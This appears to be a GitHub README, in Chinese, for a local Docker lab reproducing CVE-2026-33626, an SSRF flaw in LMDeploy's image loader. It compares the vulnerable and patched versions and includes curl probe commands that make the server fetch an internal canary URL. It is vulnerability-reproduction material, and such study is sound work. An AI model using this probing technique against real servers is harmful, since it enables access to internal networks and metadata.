rootdirective-sec/CVE-2026-33626-Lab
GitHub: rootdirective-sec/CVE-2026-33626-Lab
复现 LMDeploy 视觉语言推理引擎中 CVE-2026-33626 SSRF 漏洞的本地实验环境,通过对比漏洞版本与修补版本直观验证服务端请求伪造行为。
Stars: 0 | Forks: 0
# CVE-2026-33626 — LMDeploy 视觉语言 SSRF 实验环境
## 概述
本仓库复现了 **CVE-2026-33626**,即 LMDeploy 视觉语言图像加载路径中的一个服务端请求伪造 (SSRF) 漏洞。
该漏洞行为发生在 LMDeploy 接收图像 URL 时,服务端图像加载器会获取该 URL,而未正确阻止内部、私有、环回或链路本地地址。
本实验环境对以下内容进行了对比:
| 服务 | 版本 | 用途 |
| ---------- | -------------------: | ------------------------------------------------------------- |
| `vuln` | LMDeploy `0.12.0` | 演示漏洞行为 |
| `patched` | LMDeploy `0.12.3` | 演示已修补的行为 |
| `internal` | 本地金丝雀服务 | 模拟 Docker 网络内部的纯内部资源 |
该实验环境设计为使用 Docker Compose 在本地运行,不会访问云元数据端点或外部目标。
## 漏洞摘要
LMDeploy 支持视觉语言工作流,其中可以从用户提供的 URL 加载图像。在受影响的版本中,图像加载代码可以获取解析为内部/私有网络地址的 URL。
这可能允许有权访问 LMDeploy 端点的攻击者使服务器请求内部资源,例如:
* 内部 HTTP 服务
* 元数据端点
* 缓存/数据库服务
* 私有管理面板
* 可从推理服务器网络访问的其他服务
在本实验环境中,内部目标是无害的:
```
http://internal:9000/private.png
```
该 URL 仅存在于 Docker Compose 网络内部。
## 实验环境设计
```
PoC script
|
| sends image URL
v
vuln / patched service
|
| calls lmdeploy.vl.load_image(url)
v
internal canary service
```
该实验环境并未运行完整的 VLM 推理服务器。相反,它通过调用以下命令隔离了受影响的 LMDeploy 图像加载原语:
```
from lmdeploy.vl import load_image
load_image(url)
```
这使得复现过程保持轻量化和确定性,同时仍能演示已被修补的安全行为。
## 仓库结构
```
.
├── docker-compose.yml
├── internal
│ ├── Dockerfile
│ └── server.py
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── vuln
│ └── Dockerfile
└── README.md
```
## 服务
| 服务 | 主机 URL | 容器端口 | 描述 |
| ---------- | ----------------------: | -------------: | ------------------------- |
| `vuln` | `http://127.0.0.1:8081` | `8000` | LMDeploy `0.12.0` 包装器 |
| `patched` | `http://127.0.0.1:8082` | `8000` | LMDeploy `0.12.3` 包装器 |
| `internal` | `http://127.0.0.1:8090` | `9000` | 内部金丝雀服务 |
在 Docker 网络内部,内部金丝雀服务可以通过以下地址访问:
```
http://internal:9000/private.png
```
## 环境要求
* Docker Desktop
* Docker Compose v2
* 用于运行 PoC 脚本的 Python 3
在 Apple Silicon 上,`vuln` 和 `patched` 服务作为 `linux/amd64` 运行,因为本实验环境使用的 LMDeploy wheel 是面向 x86_64 架构的。
## 运行实验环境
构建并启动服务:
```
docker compose up -d --build
```
检查容器状态:
```
docker compose ps
```
预期状态:
```
cve-2026-33626-internal Up
cve-2026-33626-vuln Up (healthy)
cve-2026-33626-patched Up (healthy)
```
## 验证版本
```
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq
```
预期输出:
```
{
"lmdeploy_version": "0.12.0",
"expected_role": "vulnerable"
}
```
```
{
"lmdeploy_version": "0.12.3",
"expected_role": "patched"
}
```
```
{
"hits": []
}
```
## 运行 PoC
创建虚拟环境并安装依赖:
```
python3 -m venv .venv
source .venv/bin/activate
pip install requests
```
运行 PoC:
```
python poc/poc.py
```
默认的 SSRF 目标是:
```
http://internal:9000/private.png
```
该目标可以从 Docker 容器访问,而不能从公共互联网访问。
## 预期结果
### 受影响的服务
受影响的服务应成功获取内部金丝雀图像:
```
{
"service": "vulnerable",
"probe_http_status": 200,
"probe_response": {
"ok": true,
"result": "lmdeploy.vl.load_image() fetched and decoded the URL",
"lmdeploy_version": "0.12.0"
},
"internal_hit_count": 1
}
```
这证实了 LMDeploy `0.12.0` 向内部 Docker 服务发出了服务端请求。
### 已修补的服务
已修补的服务应在访问到内部服务之前阻止相同的 URL:
```
{
"service": "patched",
"probe_http_status": 400,
"probe_response": {
"ok": false,
"error_type": "ValueError",
"error": "URL is blocked for security reasons: Blocked non-global IP detected",
"lmdeploy_version": "0.12.3"
},
"internal_hit_count": 0
}
```
这证实了 LMDeploy `0.12.3` 会阻止解析为非全局/内部 IP 地址的 URL。
最终预期摘要:
```
[+] Expected result confirmed:
vulnerable service fetched the internal canary
patched service blocked before reaching the internal canary
```
## 手动测试
重置内部金丝雀:
```
curl -sS -X POST http://127.0.0.1:8090/reset | jq
```
测试受影响的服务:
```
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
```
预期:`/hits` 包含一个请求。
测试已修补的服务:
```
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
```
预期:`/hits` 保持为空。
## 为什么这能证明 SSRF
PoC 并非像攻击者那样直接请求内部服务。
相反,PoC 将内部 URL 发送给 LMDeploy。如果 LMDeploy 从容器网络内部获取该 URL,内部金丝雀就会记录该请求。
该行为证明了 SSRF 原语:
```
attacker-controlled URL
↓
LMDeploy server-side image loader
↓
request to internal network resource
```
已修补的版本通过拒绝解析为非全局 IP 地址的 URL 来防止这种情况发生。
## 清理
```
docker compose down -v
```
## 参考
* GitHub 安全建议:GHSA-6w67-hwm5-92mq
[https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq](https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq)
* NVD:CVE-2026-33626
[https://nvd.nist.gov/vuln/detail/CVE-2026-33626](https://nvd.nist.gov/vuln/detail/CVE-2026-33626)
* 修补提交:`71d64a339edb901e9005358e0633fbbab367d626`
[https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626](https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626)
* 拉取请求:#4447
[https://github.com/InternLM/lmdeploy/pull/4447](https://github.com/InternLM/lmdeploy/pull/4447)
* Sysdig 分析
[https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours](https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours)
标签:AI安全, Chat Copilot, CISA项目, CTF学习, CVE-2026-33626, Docker, Docker Compose, LMDeploy, Maven, OPA, PoC, SSRF, VLM, 内网渗透, 图像加载漏洞, 安全实验室, 安全防御评估, 暴力破解, 服务端请求伪造, 漏洞分析, 漏洞复现, 漏洞验证, 版权保护, 私有网络安全, 网络安全, 视觉语言模型, 请求拦截, 路径探测, 逆向工具, 隐私保护, 靶场